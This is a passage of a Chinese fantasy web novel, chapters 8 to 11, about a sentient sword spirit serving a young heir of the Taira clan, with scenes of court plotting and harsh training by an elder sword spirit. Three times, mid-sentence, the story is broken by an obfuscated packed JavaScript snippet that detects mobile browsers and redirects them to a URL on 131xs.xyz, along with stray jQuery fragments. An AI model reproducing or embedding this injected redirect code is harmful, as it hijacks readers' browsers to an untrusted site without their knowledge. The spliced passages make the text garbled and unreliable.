唔呕——”平重衡趴在地上,刚压下去的反胃感被这一拍彻底勾了上来,胃里的东西恨不得全倒出来。
他挣扎着想抬头,却被晚江行久又一下轻飘飘的拍打按回原地,那力道带着灵体特有的微凉,落在背上竟有种奇异的安抚感。
晚江行久的灵识在他头顶盘旋,满是困惑——怎么回事?平重衡的身子这么弱?他明明收着劲呢。
今剑看不下去,走过去拎起平重衡的衣领,放在漂浮在空中的晚江行久背上,“背好,要是他掉了下来你就可以成为野刀了。”
掉下来就会死,真的吗?
虽然不相信晚江行久还是绷直了自己的刀身,一丝晃动都不敢有。
处理好胧车的鬼灯走了过来,“接下来的路就不送了,一路顺风。”他冲今剑和平重衡点了点头,登上另一架胧车扬长而去。
今剑拿出令牌挂到晚江行久的刀柄上,“拿着,要是弄丢就真的回不去了。”
“OK!”晚江行久用灵力紧紧固定住令牌,好奇要怎么回去。
在他没有预备的情况下,两刃的脚底出现一个黑洞,强大的吸力拉扯着他们的身体,路过的魂一个回头,原地已没了两刃一人的身影。
平重衡双手紧握着身下的刀剑,耳边恍惚的听见了其他人的叫声,“啊啊啊啊啊啊啊啊啊!好刺激啊啊啊!平重衡你抓紧我!”
失重感像一只无形的手攥紧了晚江行久的灵体,他听见自己的刀身在风里发出“嗡嗡”的颤音。
黑暗中突然炸开片刺目的光,晚江行久下意识用灵识护住平重衡的眼睛,再睁眼时已经摔在片柔软的草地上。
平重衡像只被翻过来的小乌龟,四脚朝天躺在刀身上,嘴里还叼着根沾着泥土的草。
8. 第 8 章
咳咳……”他吐掉草根坐起来,发现周围是熟悉的寺庙,正在洒扫的僧人见到两刃从天而降慌乱不已,大叫着扔掉了扫把跑到不知哪去了。
晚江行久面对陌生的环境还有点畏缩,转念一想比自己小的平重衡不应该更加害怕才对,心里就鼓起了莫大的勇气。
他的灵识警惕地在平重衡周围转圈,防备突如其来的危险。
今剑从半空中稳稳落地,他本是受神明眷佑的刀,在还未落地时风已经托住了他,就算毫无准备也不会像两人这样狼狈。
晚江行久对于帮助了他们的今剑很有好感,今剑一落地就感觉到有一股灵力跟小狗一样贴贴蹭蹭。
蹭得正欢的晚江行久被今剑的灵力温柔推开。
“好了,别闹。”今剑的声音里带着一丝不易察觉的纵容,他抬手把晚江行久刀柄上挂着的令牌取下,目光投向寺庙深处,“既然事情已经告以段落,我们就此分开吧。”
这么块吗?晚江行久心里闪过一丝不舍,也明白对方这样做很仁至义尽了,不再纠缠对方,灵力在今剑手心挠了挠当告别语。
刚好这时寺庙的回廊尽头传来一阵急促的脚步声,刚才跑掉的僧人带着几个身着袈裟的老者匆匆赶来。
为首的老和尚看到今剑,先是一愣,随即双手合十躬身行礼:“今剑大人,您平安无事真是太好了!平氏派来的人就在前殿等候,老衲这就带平殿过去。”
平重衡没有惊讶,他知道自己去往黄泉后凶多吉少,家族也不会轻易放弃已经培养好的继承人,他写的那封信不是为了告别,而是告诉家里,若我出事记得捞人。
在他的预料中应当是去往黄泉后十天家族才会派人过来,“现在距离我们下黄泉那日过了几天?”
那老和尚叹息一声,“已过去一月有余。”
听两人谈话的晚江行久半懂不懂。
已经有一个多月了,我睡得这么久吗?好像不是睡觉,是被痛昏过去了。
平重衡也有些惊讶于这过久的时间,他来不及维持所谓贵族的礼仪,拽着晚江行久就往大殿上跑。
木质走廊上传来木屐咯噔咯噔的声音,守卫在前殿的武士拿起武器做好应对强敌的准备,然而从拐角处出来的不是想象中的敌人,而是衣衫凌乱的平重衡。
“少、少主!?”
平重衡来不及喘口气,急忙问到,“家里情况怎么样?”
武士将刀收回刀鞘,正声道,“家主得知您下黄泉后,去阴阳寮请来夏目阴阳师找您,里面正在做法,不过您都已经回来了,在下先进去通报一声。
“不用通报了”随着咯吱一声,前殿的大门被打开,一个满头灿金发容貌却异常妖冶的年轻人从里面走了出来。
“我说过你家少主没事,还非要请我来,真是多此一举。”
那年轻人倚在门框上,金发散漫地搭在肩头,眼角微微上挑,明明是笑着的模样,却透着几分说不出的疏离。
他目光扫过平重衡凌乱的衣襟和沾着泥土的木屐,嘴角弯得更甚:“看来黄泉路上的风光不怎么样,把我们堂堂平家少主折腾成这副模样。”
“他说话好刺人,平重衡我们不要理他好不好。”
晚江行久下意识抱怨,他知道除了同类暂时没人能听见他的声音,还是管不住自己的嘴。
“觉得我说话刺人是因为你们也知道自己做的不对,堂堂平家的下一任继承人遇到事情竟然不是派下属去解决,选择自己逞能,呵,真是让我长见识了。”
“平重衡和我关系好才这样做,我还觉得他有担当呢!”晚江行久反驳完才发觉不对劲。
“你、你能听见我的声音?”晚江行久绕着夏目旋转了好几圈,差点钻进人家的衣服里,“你也是刀剑付丧神吗?本体放哪了没看见啊。”
“啧,别乱动。”夏目不耐烦的抓住刀往外拔,结果拔了几下不仅没拔动还埋的更深了,“你倒是管管你家刀啊。”
不能听到刀剑说话的平重衡,只看见晚江行久突然冲过去表示亲近,反倒是夏目一脸嫌弃的说些听不懂的话。
他眉峰拧成个疙瘩,实在看不懂这阴阳师在演哪出:“夏目大人,您这是……”
知道平重衡靠不住的夏目无奈,右手恰印指尖泛起淡淡的幽蓝微光,光滑的地板上形成对称显出不知名的召唤阵,幽蓝微光脱离他的指尖落到召唤阵处。
“蜜虫,听召前来。”
一阵温柔的女声响起,召唤阵中腾起细碎的荧光,如同夏夜纷飞的流萤,在光芒中凝聚成高挑半透明的式神。
蜜虫刚睁开眼睛,就见自家嘴毒的阴阳师被一把刀贴贴蹭蹭,她用振袖捂住嘴轻笑,不想去帮忙只想看热闹。
自己清白不保还要被式神嘲笑,肯定是平日那些说不过我的无能者诅咒生效了,“别光看着!把他拉出去啊!”
为了避免把自家脸皮薄的阴阳师真的弄恼,蜜虫还是出手将晚江行久拉开。
晚江行久只觉一股柔和的力量裹住自己,原本还想往夏目衣襟里钻的身体竟被轻轻推开,顺着力道在半空中翻了个转。
晚江行久出来后还征楞了一下才反应过来,“你耍炸!两人对一人不公平!”
听到这话夏目都要气笑了,“你一个刀灵跟我这种手无缚鸡之力的阴阳师比力气,我才要说不公平呢。”
两人就这样大庭广众之下吵了起来,可惜晚江行久的声音无法被外人听见,于是现场对于普通人来说就是夏目对着一把嗡嗡嗡的刀疯狂输出。
平重衡不想在这里浪费时间,家族认为他消失了一个多月,难保分家会没有异心。
他现在急着回家,将还在骂战的晚江行久抓回塞入腰带,问夏目要不要一起回去,得到否定的回答后,平重衡不再多言,拎着还在腰带里嗡嗡抗议的晚江行久转身离去。
正在兴头上的晚江行久被他这一抓整蒙了,刚想抗议就看见平重衡神情紧绷的小脸,完全没有在黄泉时的放松。
对啊,平重衡已经有一月没有回去了,他肯定也很想念家人把。
想到这,晚江行久高涨的气势一下子蔫了下去,没有丝毫反抗的念头。
平重衡和家臣说事去,叮嘱晚江行久乖乖待在马车里,他们就在旁边遇事要喊平重衡的名字。
嘤嘤切切叮嘱了半天平重衡才放心离去。
晚江行久在马车上无聊的在车内转悠,感觉刀鞘内有异物感不舒服,拔下来一看,在自己的内鞘上发现了一张字条:若之后无去处,可来六条桥寻我——夏目留。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978063|177901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他盯着字条,心想,平重衡被撬墙角了哎。
“我回来了。”平重衡掀开竹帘进来,看见晚江行久正对着字条发呆,还以为是它无聊给自己折纸玩。
纸张在这个时代对平民来说是昂贵的,不过作为大贵族的平重衡不缺这点纸,对于晚江行久的浪费也持无所谓的态度。
直到他看见纸上的内容。
平重衡没去拿那张纸,只是看着晚江行久,声音听不出情绪:“夏目给你的?”
晚江行久被他看得一缩,下意识把字条往身后藏,又觉得没必要,干脆举起来晃了晃,当着平重衡的面用刀锋斩断,以示自己没有自己绝无二心。
平重衡将被斩成两半的纸条捡起来拼合在一起,那纸条带着淡淡的草木气息,字写得算不上工整,却透着一股坦荡。
他指尖捏着纸角,沉默片刻,忽然轻笑一声:“真是想多了,我死也要把晚江带在身边。”
“呢,晚江,如果在死之前把你折断作为我的陪葬品,你会怎么想。”
这样啊。
晚江行久定定地看着平重衡,看着他弯下来的睫毛遮住眼睛,看他嘴角带起来凉薄的笑意,连发丝都透着一股不容置喙的执拗。
能活晚江行久还是想活着的,前辈子活的时间也不算长,后辈子要一直跟平重衡形影不离,这种不能自己做主的人生还挺讨厌的。
晚江行久轻轻将自己埋进平重衡的怀里,感受着那属于血肉之躯的、现在的他不能有的温煦。
可是……他愿意为了我下黄泉,面对藤原浩勉强人的约定也做的很好,更何况我哪有什么选择,离开他也不保证下一个主人能做的比他好。
晚江行久还是有自知之明的,在这个人命如草芥的年代,就算他是一把价值连城的宝刀,真心爱护的也没几个。
所以——我绝对不要被折断!!
表面上晚江行久依旧温顺如绵羊,实际心里燃起了反抗的怒火。
哈?为什么你死我就必须死,我还没活够,我还有大好的人生,话说小孩子家家的想的咋就那么远呢。
平重衡抱着主动钻进怀里的晚江行久一阵感动,指尖温柔地抚摸着刀背,声音带着一丝谴眷“是害怕了?”
晚江行久在心里翻了个白眼,嘴上却没法说话,只能用刀身轻轻蹭了蹭他的手腕,假装是亲昵的回应。
心里却在嘀咕:还不是怕被你折了当下酒菜……不对,是陪葬品。
平重衡却像是被这一下蹭软了心肠,低头用脸颊贴了贴刀鞘,带着少年人特有的温热气息:“夏目他就是一个穷阴阳师,不能提供给你提供柔软的呈刀布,也没有顶级的擦刀粉,你落到他手里还要自己给自己挣这些,乖乖的,别想跑。”
他说这话时语气格外认真的,不像是背后说别人穷,而是真心实意考虑一般,可晚江行久莫名听出了咬牙切齿的认真。
这小孩看着温文尔雅,骨子里的贵族观念倒是一点没少。
马车外传来家臣的通报声,说快到府邸了。
平重衡直起身,理了理衣襟,又恢复了那副天下为棋我为主的模样,只是把晚江行久往腰间紧了紧,仿佛怕稍不留意就会飞走。
晚江行久被他勒得有点喘不过气——如果刀有气可喘的话。
9. 第 9 章
夕阳落到平重衡带点圆润的脸庞,他撩开帘子怀抱刀剑下了车,视周围跪地迎接的仆人们为无物。
“等回去,让工匠给你重新做个鞘。”平重衡忽然开口,视线落在刀鞘内侧,“刀鞘上有道口子太丑了。”
晚江行久:“……”还能咋办,自家孩子自家宠呗,只要别提陪葬的事一切都可以商量。
平重衡抬脚迈入平家,路上的族人皆俯首不敢直视他的脸。
也难为那些长得比平重衡高的族人,为了表示尊重,他们将腰弯的极为下去。
步入大厅,平氏家主坐在主位上等候多时了。
“跪下。”
伴随扑通一声,平重衡干脆利落地跪了下去,半点没有顾及身后家臣的看法和自己的颜面。
见平重衡如此知进退,平氏家主的脸色稍缓,“是我这些年给你的权利太多了,让你觉得平家是你做主了吗?竟敢为了一把刀上刀山下火海,你将家族多年的培养置于何地,将我的颜面又置于何地!”
平重衡默不作声,只是深深地鞠了下去,额头与木板地面接触,传来一阵微凉。
平氏家主见养育多年的儿子这样也不肯认错,说没有一点失望是不可能的,可现在还有更重要的事。
他抬头示意家臣退下,只留下他们父子两。
“源氏的已经比你早半个月接手家族与朝中势力,中立的贵族也被他笼络的差不多了,天皇有意让我们两大家族争斗,你觉得破局之法在何处?”
平重衡依旧保持着叩首的姿势,指尖却不自觉地摩挲着晚江行久刀柄上镶嵌的银纹。
那冰凉的触感顺着指尖蔓延,让他混沌的思绪清明了几分,“父亲,我们可以先一步动手。”
“哦?是先一步向源氏下手吗。”
平重衡抬起头,眼中闪烁着勃勃的野心,“不,天皇老矣,昏庸无能,不如换个更明智的,孩儿记得宗姐为天皇育有一男婴,如今已年满十岁,正是好时机。”
晚江行久听着这些,突然想起来,历史上平家衰落正是因为参与皇室竞争开头的。
他焦急的震动自己,希冀平重衡能够明白自己的意思。
然而平重衡只是安抚性地按住震动的刀鞘,眼睛撇都没撇一眼给他。
臭小鬼这个时候这么成熟干嘛啊!
大厅上的一切对话都没有被他影响,平重衡和平氏家主的措施和计划也下发给部下被实现。
被困于铁皮躯壳中的晚江行久只能眼睁睁的看着历史的轨迹缓缓移动。
他并非没有试图劝阻过。
用刀锋在地上刻字,结果因为平安京所用的文字与现代文字不同被ko。
他找过能听懂自己话的阴阳师,发现那个阴阳师只是一个沾名沽誉之辈,听不懂晚江行久的话,以为他是妖怪喊来武士要捉拿他。
幸好平家的武士基本跟平重衡切磋过,对于这把少主常用的刀剑非常眼熟,冒牌阴阳师不仅没有捉到晚江行久,还把自己的铁饭碗弄丢了。
“唉——”
晚江行久窝在窗边,盯着含苞待放的茶花唉声叹气。
坐在软垫上的平重衡悉心烹茶,顺带把密谋的纸条丢进火堆,惹来高涨的星火四溅。
“为何要叹气,子代。”
一道声音从旁边响起,晚江行久错愕看去,一位白色里衣搭配红色腰带的少年端坐在平重衡右边,手上还捧着一杯煮好的热茶。
在看到小乌丸的那一刻,晚江行久就想夺路而逃。
昏迷前他对新来的同僚颇有兴趣,发现小乌丸能够现身更是激动不已,虔诚请教对方如何拥有人形。
于是小乌丸挂着核善的笑容狠狠抽了晚江行久一顿,“刀剑的修行之道自然在于战斗,不要想着走捷径。”
这也就算了,惹不起还躲不起吗。
事实证明真的躲不起。
不论晚江行久藏到哪里,跑得多快,小乌丸都能捉到他。
活了几百年的小乌丸收拾一个才诞生没多久的刀剑简直轻而易举,他不仅要对晚江行久的身体进行折磨,还要压榨心灵。
“叫长辈名字是没礼貌的行为,只提醒你一次,要叫吾父上。”记忆中小乌丸穿着木屐就狠狠踩在晚江行久的本体上,直到晚江行久连连哀嚎从心底里认可小乌丸这个父上才松脚。
然而为了劝阻平重衡他还是忍着条件反射待在原地,“父上大人,真的不能帮我劝劝少主吗?”
小乌丸握着茶盏的手指微微一顿,茶雾氤氲了他半垂的眼睫,声音清淡得不染尘埃:“平家的事,自有他们的因果。”
晚江行久急得在他面前转圈,刀剑碰撞的脆响里全是焦灼:“可你知道结局不是吗?他们会输的!”
“输赢本就由人定,”小乌丸抬眼看向他,那双黑眸里映着跳动的火光,“你以为拦住这次继位,就能改写百年武家的刀光?”
平重衡恰好添完炭火,转头看向两刃,主要是看晚江行久,他不知道两刃在讨论必败的未来,只以为晚江行久在担心自己。
他敲了敲换了新刀鞘的晚江行久,“这几日那么不安分,是嫌我冷落了你?”
他指尖落在刀鞘上轻轻摩挲,安抚躁动的伙伴:“等这事了了,带你去宇治川畔看樱花。”
晚江行久停住了转圈的动作,寄宿在刀剑里的灵体疯狂骂他笨蛋,不要立flag之类的话,听得品茶的小乌丸都差点含不住口中的水。
“咳咳”小乌丸将茶杯放在托盘里,用袖摆掩了掩唇角,眼底还漾着未散的笑意,抬眼时已恢复惯常的慈爱:“少主倒是与子代亲近。”
平重衡正低头调整刀鞘的系带,闻言笑道:“那当然,我们是互相选择对方的。”
他指尖划过新鞘上的暗纹——那是命人加急赶制的,纹样取的是宇治川的流水,“见它鞘身有裂,想着换个新的,许是不习惯?”
晚江行久在鞘里气得直晃,灵体的怒吼几乎要震裂铁皮:换什么新鞘!你该换的是脑子!知道发动宫变之后是什么吗?!是战争!
小乌丸端起茶筅,慢悠悠搅动碗中浮沫,声音
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978064|177901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不高不低,恰好能让两人都听见:“流水虽柔,遇礁亦能穿石。有些事情,若是太急着改变,反倒容易被浪冲散。”
平重衡握着系带的手一顿,抬眼看向他:“乌殿今日话里总带玄机。”
“不过是观物有感罢了。”小乌丸将点好的茶推过去,茶面上的泡沫聚成极淡的山形,“就像这茶,水温差一分,滋味便谬千里。时机未到,再急也无用。”
晚江行久总觉得这句话在点他,安静下来仔细想想,不发动这次宫变平家也会被源氏打压,骄傲了百年的平家会甘心落居看不起的乡下武士之后吗?
更何况平重衡的性子也不允许自己不如别人。
小乌丸放下茶盏,拿起本体刀,“若还是急躁,不如自己去见证,和吾来手和一局清清心吧,子代。”
晚江行久的脊背发毛,此时生存的本能发挥到了极致,他转身就往回廊上跑,在他的身后,小乌丸和平重衡都在追赶着他。
廊下的木屐声踏碎了午后的静谧,晚江行久的哀嚎混着刀鞘撞在廊柱上的闷响,各司其职的平家众人听到这些响声纷纷会心一笑,啊啦,晚江大人又在玩闹了。
前面左转,右转,飞上枝头跳过围墙,要注意不能飞的太高,空中是属于小乌丸的领域,很容易被他一刀鞘打下来,这都是他的血泪之鉴。
“和吾多对练几下你的主人就能在战场多几分生机。”小乌丸提着刀慢悠悠追在后面,一旦晚江行久跑得慢了还会给他一刀提提速度。
平重衡抄近路堵在回廊转角,被迎面而来的晚江行久撞了个满怀,看着自家刀慌里慌张的模样,他打趣道,“跑这么快,我看你不是刀剑付丧神而是风镰妖吧。”
晚江行久在他怀里疯狂挣扎,快放开我!被小乌丸打真的很疼,他还会给刀鞘附上灵力,直击灵魂的感觉酸爽极了。
“手合而已,又不是要拆了你。”小乌丸已缓步走到近前,本体刀轻轻敲了敲晚江行久的新鞘,“还是说,你觉得能躲过注定要走的路?
这句话像块冰投进滚水里,晚江行久瞬间停止挣扎。
是啊,就算今天能拦住宫变,平家的骄纵、源氏的崛起,还有平重衡那宁折不弯的性子,哪一样不是推着他们往战火里走?
平重衡见晚江行久如此乖觉,还以为说中了什么心事,顺着小乌丸的话安抚:“手合也不是什么难事,输了我替你求情便是。”
他抬手将刀鞘上的系带系成个利落的结,“再说了,有我在,总不会让你受委屈。”
平重衡越体贴,晚江行久就越不好受,他的声音沉了下去,带着说不清道不明的迷茫,“……笨蛋。”
小乌丸注视着廊外的流云,轻笑出声,“看来子代是想通了。”他转身向手和室走去,“就让吾试试这段时间子代有没有长进吧。”
平重衡拎着安分下来的晚江行久跟上,没过多久,手和室里传来他哀哀的叫疼声,听见这如泣如诉哭喊的妖怪们都恨不得离平家十里远。
从此平安京里又多出平家喜爱折磨妖怪的传言。
10. 第 10 章
“……诞下一切的世界之母、创造一切的万物之母、永远慈爱的母神伊邪那美,请您对信奉着啊嘶...疼……”
“祈文又背错了。”小乌丸放下手里的纸折,他如玉般精致的脚趾抵着地面,双膝并着没有一丝缝隙,大腿挤压着小腿,白皙的腿肉从两边开窗的裤缝露出,形成圆润的手感,他的身姿挺拔如松,坐下来后没动过一下,从头到脚都透着尊贵优雅。
唯一不太雅观的是对面坐着的不是人而是一把刀,不了解真相的人看到这一幕恐怕会认为这个年华美好的少年已经疯了,不然为什么要和一把刀说话。
“我知道啦,就不能用普通的日语说嘛,神语太难背了。”
晚江行久龇牙咧嘴的揉着被打的部位,也不知道小乌丸是怎样分辨出来的,每次打的明明是不同部位,却都能打到最脆弱的地方。
“神语能够帮助吾等与神更快建立联系,就算是普通人说出八咫鸦的祈文也更容易获得回应。”
小乌丸抬起一只手,鸢尾花袖摆依依不舍地从手腕上滑下去,露出一截皓白的小臂。
他的手指在半空中滑动着,划过的空中出现了几串金色的文字,它们自诞生起就不断变幻着形态,一刻消停的都没有。
“不同的神明祈语不同作用也不一样,作为承蒙神明恩惠的吾等应当牢记祈语才算回报神明一二。”
他放下手,文字自动飞向晚江行久身边,环绕几圈就在半空中化为烟雾融入到晚江行久体内。
“这是什么?”晚江行久挪了挪位置,避开了金色的烟雾。
然而那些烟雾就像有自我意识一般,在没有风的室内拐了个弯,直冲晚江行久而去。
还没来得及震惊,晚江行久感觉有细小的电流顺着血管游走,始终处于不冷不热状态下的皮肤竟感受到一缕凉意。
等等,凉意?
晚江行久的睫毛抖了一抖,如同害怕着什么,但最终还是睁开了眼睛,他来这个世界这么久了,还是第一次用自己的眼睛看一草一木。
出现在小乌丸面前的青年有二十好几的岁数,五官俊朗明媚,神情中总带着几分天真赤诚。
他的眼睛红瞳银边,或许是与刀柄上镶嵌的银丝有关,成熟的肉-体被衣物包裹着,不知化行出现什么错误,这孩子上半身领口开的极大,能够轻易看见若隐若现的胸脯与光洁的锁骨。
头发被梳成马尾辫,能看出上面的头绳正是平重衡为他系在刀鞘上那根。
那双锋利狭长的双眼此刻正瞪得溜圆,低头看着自己突然出现的手——手指修长,指甲修剪得圆润,掌心还带着握刀时留下的薄茧。
“我……我化形了?”晚江行久试探着动了动手指,又抬了抬腿,膝盖撞到地面时传来真实的痛感,让他瞬间咧开嘴,“真的是我自己的腿!小乌丸你看!”
这句话刚说出口晚江行久就感觉不妙,果然,一个纸折子亲吻上了他的脑袋。
看着晚江行久一米八的大高个蹲在墙角呜咽,小乌丸矜持的收回了手,“说了多少遍要叫父上。”
“呜……吸溜(吸鼻涕)对不起父上大人呜呜。”晚江行久缩在墙角干嚎了一会,见实在挤不出眼泪遂放弃。
“我好像听到有陌生男人的声音...你是谁?!”
平重衡正在隔间料理事物,自从做出要推新天皇上位的决定后,平氏家主就下放权利给他,他作为新任家主正式处理事物,打压分家,募集武士,每天上朝不是跟源赖光斗嘴就是培养自己的朝堂势力。
晚江行久在努力背祈词,平重衡努力搞事情,双方都有光明的未来。
蹲在墙角的晚江行久躯壳突然僵直了一下,一卡一卡的回过头看掀开门帘的平重衡,“是我啊,重衡。”
“你是谁。”平重衡将自己的话语重复了一遍,用余光关注着小乌丸的举动,见对方神色自若才放下让侍卫警惕的手势。
他目光扫过青年露在衣领外的锁骨,以及那截系着熟悉头绳的马尾——那不是他前几日给晚江刀鞘系的红绳么?
晚江行久猛地起身,红瞳银边的眼睛撞进平重衡眼里,倒让对方愣了愣。
这双眼睛太特别,像极了红木刀柄上镶嵌着银丝的模样。
晚江行久化形没多久,能够站起来都是他前世记忆在起作用,可走路是真不行。
他试探性的迈开腿,却因为不熟悉身体而踉跄一下,随着惯性往前倒去。
平重衡下意识的向前几步,支撑住了他,可惜两人过高的身高差不像平重衡搀扶着晚江行久,而像晚江行久杵着一根拐杖。
“额…”晚江行久有点尴尬的摆了摆腿,他现在靠坐在平重衡的身上,下颚抵住平重衡的脑袋,经过刚才走路摔倒的事件后,已经反应过来的平重衡不允许他独自走路,甚至连仆人都不能靠近,全权由平重衡来照顾他。
平重衡倒是一脸平静,就算脑袋被晚江行久的重量抵得生疼也面不改色,“所以晚江这次化形是因为乌殿神语的帮助?非常感谢,这也算是给他提前练习的机会,不然等上战场突然化形,恐怕也是给敌方送功绩。”
“哪里哪里”小乌丸慢慢地抬起茶盏喝了一口,“刀剑有灵,堆积到到一定程度便能化形,子代这次也不过是借了太阳神的力量,才能出现,等这股力量消耗完后,又要重新开始积累。”
还要变回去啊,虽然知道这次化形并非自己能力所为,可要他真的接受现实也不甘心。
小乌丸抬眼就看清楚晚江行久脸上的神情,他在心中叹了一口气,连心底所想都掩饰不好,子代还有很多要学的呢,不过,这也正是吾身为父上的职责。
小乌丸清了清嗓,开口道,“既然家主了解到现状,先去处理公务吧,把子代放开由我教导。”
平重衡扶着晚江行久的手顿了顿,又从善如流的松开,“乌殿说的没错,晚江你要好好学,日后才能辅佐我领导平氏。”
晚江行久低下头蹭了蹭平重衡的耳畔,扎高的马尾辫随着他的动作滑下,落到平重衡的脖颈处,让人痒痒的。
他轻轻开口,似乎不想让外人听见这话,“我可以当个吉祥物吗?不想干事。”
在平重衡还因为晚江行久的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978065|177901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
撒娇没回过神来时,小乌丸已经挂着得体的微笑,一个纸折精准敲在他额角。
“为主人分忧是吾等身位刀剑付丧神的职责,汝这般懈怠真是让刀剑的荣耀蒙羞。”
晚江行久被打得“嘶”了一声,委屈地捂住额角,马尾辫又在平重衡颈间扫了扫。
平重衡终于从那阵突如其来的痒意中回过神,抬手按住他不安分的脑袋,指尖触到发间的红绳时,动作不自觉放轻了些。
“那我先出去了,你尽力就好,平家不缺你一振刀。”
平重衡站起身,走之前还拢了拢晚江行久开的太大的衣领,在他信赖的目光中回到了隔间。
“想着要改变家主的决定却不想自己努力,难不成所谓的改变只是说说而已吗?”
晚江行久将目光转向小乌丸,银边的出现让他的瞳孔仿佛凭空比其他人少了外环,直勾勾盯着人时压力变得巨大。
可这种小把戏又怎能镇住活了上百年的小乌丸,他轻轻捧起一盏热茶,吹了吹,茶面上倒映着小乌丸绮丽的脸,泛起些微的涟漪。
离开刀剑的晚江行久这才感到羞耻,之前都在剑里又不是人,贴贴蹭蹭、摆脱责任完全没有不对的感觉,现在有人形了才感到迟迟的羞耻心。
他低垂着头,正式向小乌丸行了士下座,“我明白的,还望父上大人不要嫌弃晚江愚钝。”
小乌丸看着他规规矩矩伏在地上的模样,茶盏在掌心转了半圈,才慢悠悠道:“起来吧,刀剑的尊严不在跪坐里。”
晚江行久依言抬头,银边红瞳里还蒙着层羞赧的水汽,刚撑着地板想站直,膝盖就软得打晃。小乌丸眼疾手快地伸手捞住他后领,像拎小猫似的把人提溜到塌边:“先学站稳,再谈其他。”
他指尖在晚江行久腰侧敲了敲:“记住这具身体的重心,就像你握刀时要找准刀柄的平衡点。”
啪,“脊背要挺直,刀剑唯一可以弯的时机只能是在战场上断裂。”
啪,“双膝并拢,大张着腿影响仪态。”
啪,“喝茶不要一口闷,抿一下等茶水回甘才可以吞咽下去。”
啪、啪、啪!
晚江行久被打的在地上蜷缩着,外表上看除了衣服褶皱凌乱没有任何伤痕,只有被小乌丸打过的人才知道,蕴含太阳神灵力的灼烧有多疼。
小乌丸光着脚示范一位贵族刀剑该有的仪态,他往往只有前脚掌落地,后边翘起,足尖轻点时衣摆如蝶翼般微扬。
他侧过身,眉眼下的红痣在透过窗纸照射进来的光线里半明半暗:“看清楚了?每一步都要像踏在刀尖上,既稳且雅。”
晚江行久咬着唇点点头,再一次歪歪扭扭的站起来,挺直腰杆,昂起头,大步向前迈去。
身上的部位泛着火辣辣的燎痛,额头上的汗水呈现豆滴状落下,可他即使再痛苦身形也不曾改变,走完一路摆袖回身时,才看到小乌丸满意的笑容。
还没等他高兴,就听见小乌丸姣好红艳的唇吐出残酷的话语,“既然学会走了,那么接下来学习跪坐与茶道。”
……不!要!啊!
11. 第 11 章
公元1167年,平氏政权达到鼎盛。
此时距平重衡接手平家已过去两年,在这两年当中他垄断高官职位,打压源氏等地方豪强,占据大量庄园田地赐给分家笼络人心,人们提到平重衡不敢再说他的名字,而尊称为平氏家主。
“晚江大人,要回去向家主报告了吗?”“晚江大人!今天老师有夸我刀术又进步了!”“晚江大人,这是来自各大贵族联合反抗的情报,麻烦您代交给家主。”
“好,先给我吧。”
晚江行久停下脚步,阳光洒在坚毅的面庞上,被轮廓分割成大小不一的区块。
过于尖锐异常的眼睛被碎发遮挡,掩盖身为非人的不同,喉结被皮带遮挡着,下方还挂着一个铭牌,上面用神文写着他的名字。
领口依旧开的那么大,路边来往的女性和一部分男性看见那精致的锁骨和丰满Q弹的胸脯不由得面红耳赤,直垂的衣摆上绣得有扬羽蝶,修身的裤子包裹着长腿,侧面看见小腿处有几块破损口子,能从中看出那骨肉均匀分布,每一寸都透着利落感。
晚江行久从两年前开始接受小乌丸贵族刀剑的教育,如今能游刃有余的忽悠那些不了解他内在的人,认为他真是很靠谱的刀剑付丧神。
可惜的是这两年化形的时间不确定,至今他都没有担当什么真正的职位,平重衡也不敢放他一个人去完成任务。
也因此,身位刀剑付丧神,他还没有杀过人。
晚江行久接过情报卷成的纸筒,指尖刚触到粗糙的卷轴,就听见身后传来布料摩擦的窸窣声。
他回头,看见大树下站着一个人影,红色的妹妹头,身着直衣,下方的裤腿被束缚起来,目测和小乌丸差不多高。
当那道人影走出树荫,站到阳光下时,晚江行久就明白,那绝不是人类。
他脚步后撤,保持随时冲上去的姿态,空气中的氛围愈发紧绷,就当手中的刀剑将要出鞘那一刹,一只看似纤细无力的手按住了他。
晚江行久与他僵持片刻,还是放下了戒备的姿态,回头无奈道,“父上大人,烦请您下次给个预兆,突然到别人身边会吓死人的。”
小乌丸放下,鸢尾花衣袖遮挡住他的手,“吾要是不按着汝,怕是几息后就要给你的同僚收尸了。”
妹妹头走过来自然开口,“我也没那么弱吧,真打起来也不知是谁胜谁败。”
他鲜红色的眼眸转了过来,浑身打量了一下晚江行久,才行礼介绍,“我叫木枯,先家主平清盛的佩刀,如今改名叫拔丸。”
是同类啊,吓人,还以为是妖怪混进平家了。
